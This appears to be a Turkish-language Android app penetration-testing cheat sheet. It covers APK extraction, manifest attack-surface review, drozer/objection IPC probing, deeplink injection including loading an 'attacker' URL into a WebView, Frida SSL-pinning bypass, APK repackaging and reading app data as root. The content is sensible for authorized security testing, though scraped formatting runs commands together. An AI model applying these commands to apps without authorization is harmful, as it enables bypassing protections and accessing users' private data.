Android Uygulama Pentest
android difficulty: orta
Android testi; Manifest’teki saldırı yüzeyi, decompile edilmiş kod ve runtime hook üçlüsüne dayanır. Root’lu laboratuvar cihazı veya emülatör + Burp CA ile trafik görünür hale getirilir.
Ön koşullar
Section titled “Ön koşullar”- APK / split APK’lar, adb, JDK- Root veya Magisk (Frida server); Burp CA kullanıcı/sistem deposu- Araçlar: jadx, apktool, apksigner, frida, objection, drozerİş akışı
Section titled “İş akışı”-
Paketi çek / imzayı ve
AndroidManifest.xmlyüzeyi çıkar. -
jadx ile secret, crypto, WebView, root/pinning kontrollerini tara.
-
Proxy + pinning bypass; API yüzeyini Burp’ta haritala.
-
Exported activity/service/receiver/provider ve deeplink’leri sömür.
-
Depolama (SharedPreferences, DB, harici depo) ve IPC yetkisini doğrula.
Paket edinme ve statik
Section titled “Paket edinme ve statik”adb devicesadb shell pm path com.hedef.appadb pull /data/app/~~HASH==/com.hedef.app-HASH==/base.apk ./base.apkjadx -d ./jadx_out base.apkapktool d base.apk -o apktool_out# Manifest’te exported / permission / cleartextTrafficrg -n "exported|android:permission|usesCleartextTraffic|deeplink|android:scheme" apktool_out/AndroidManifest.xmlapksigner verify --print-certs base.apkunzip -l base.apk | rg '\.(so|json|properties|pem|key)$'Manifest saldırı yüzeyi
Section titled “Manifest saldırı yüzeyi”exported=true activity/service/receiver/providerintent-filter → deeplink (scheme/host/path)backup / debuggable bayraklarınetworkSecurityConfig / cleartextaapt dump badging base.apk | rg "package:|launchable|uses-permission"Drozer / Objection ile IPC
Section titled “Drozer / Objection ile IPC”adb forward tcp:31415 tcp:31415drozer console connectrun app.package.attacksurface com.hedef.apprun app.activity.info -a com.hedef.apprun app.provider.info -a com.hedef.apprun app.provider.query content://com.hedef.app.provider/usersobjection -g com.hedef.app exploreandroid hooking list activitiesandroid intent launch_activity com.hedef.app/.ExportedActivityandroid clipboard monitorDeeplink / intent
Section titled “Deeplink / intent”adb shell am start -a android.intent.action.VIEW -d 'hedef://reset?token=AAAA'adb shell am start -n com.hedef.app/.WebViewActivity --es url 'http://attacker/x'adb shell am start -a android.intent.action.VIEW -d 'https://app.hedef.com/ Magician'Deeplink’te açık yönlendirme, token sızıntısı veya WebView URL yükleme sık görülür; API tarafı için IDOR.
Frida & SSL pinning bypass
Section titled “Frida & SSL pinning bypass”adb push frida-server /data/local/tmp/frida-serveradb shell chmod 755 /data/local/tmp/frida-serveradb shell /data/local/tmp/frida-server &frida-ps -U | rg -i hedeffrida -U -f com.hedef.app -l bypass-ssl.js --no-pauseobjection -g com.hedef.app exploreandroid sslpinning disableandroid root disablefrida -U -f com.hedef.app -l frida-multiple-unpinning.js --no-pausePinning OkHttp / TrustManager / native katmanda olabilir; jadx’te
CertificatePinner ara.
Proxy & trafik
Section titled “Proxy & trafik”adb reverse tcp:8080 tcp:8080adb shell settings put global http_proxy 127.0.0.1:8080apktool d base.apk -o patchapktool b patch -o patched.apkuber-apk-signer -a patched.apkadb install -r patched-aligned-debugSigned.apkDepolama & runtime
Section titled “Depolama & runtime”adb shell 'su -c "cat /data/data/com.hedef.app/shared_prefs/*.xml"'objection: android keystore list · memory search "password"Komut üreteci
Section titled “Komut üreteci”frida · spawn + script
embedded toolGenerated command
frida -U -f com.hedef.app -l bypass-ssl.js --no-pausefrida · spawn + script
Section titled “frida · spawn + script”Hızlı bulgu hedefleri
Section titled “Hızlı bulgu hedefleri”Exported IPC → auth’suz veri / intent injectionWebView → JavaScriptInterface, file://, açık URLCrypto → ECB, sabit IV/key, plaintext tokenBackup/debug → allowBackup, debuggableAPI → broken authz, IDOR (bkz. /web/)Zincir
Section titled “Zincir”jadx Manifest → exported provider → drozer query → Frida unpin → Burp’ta IDOR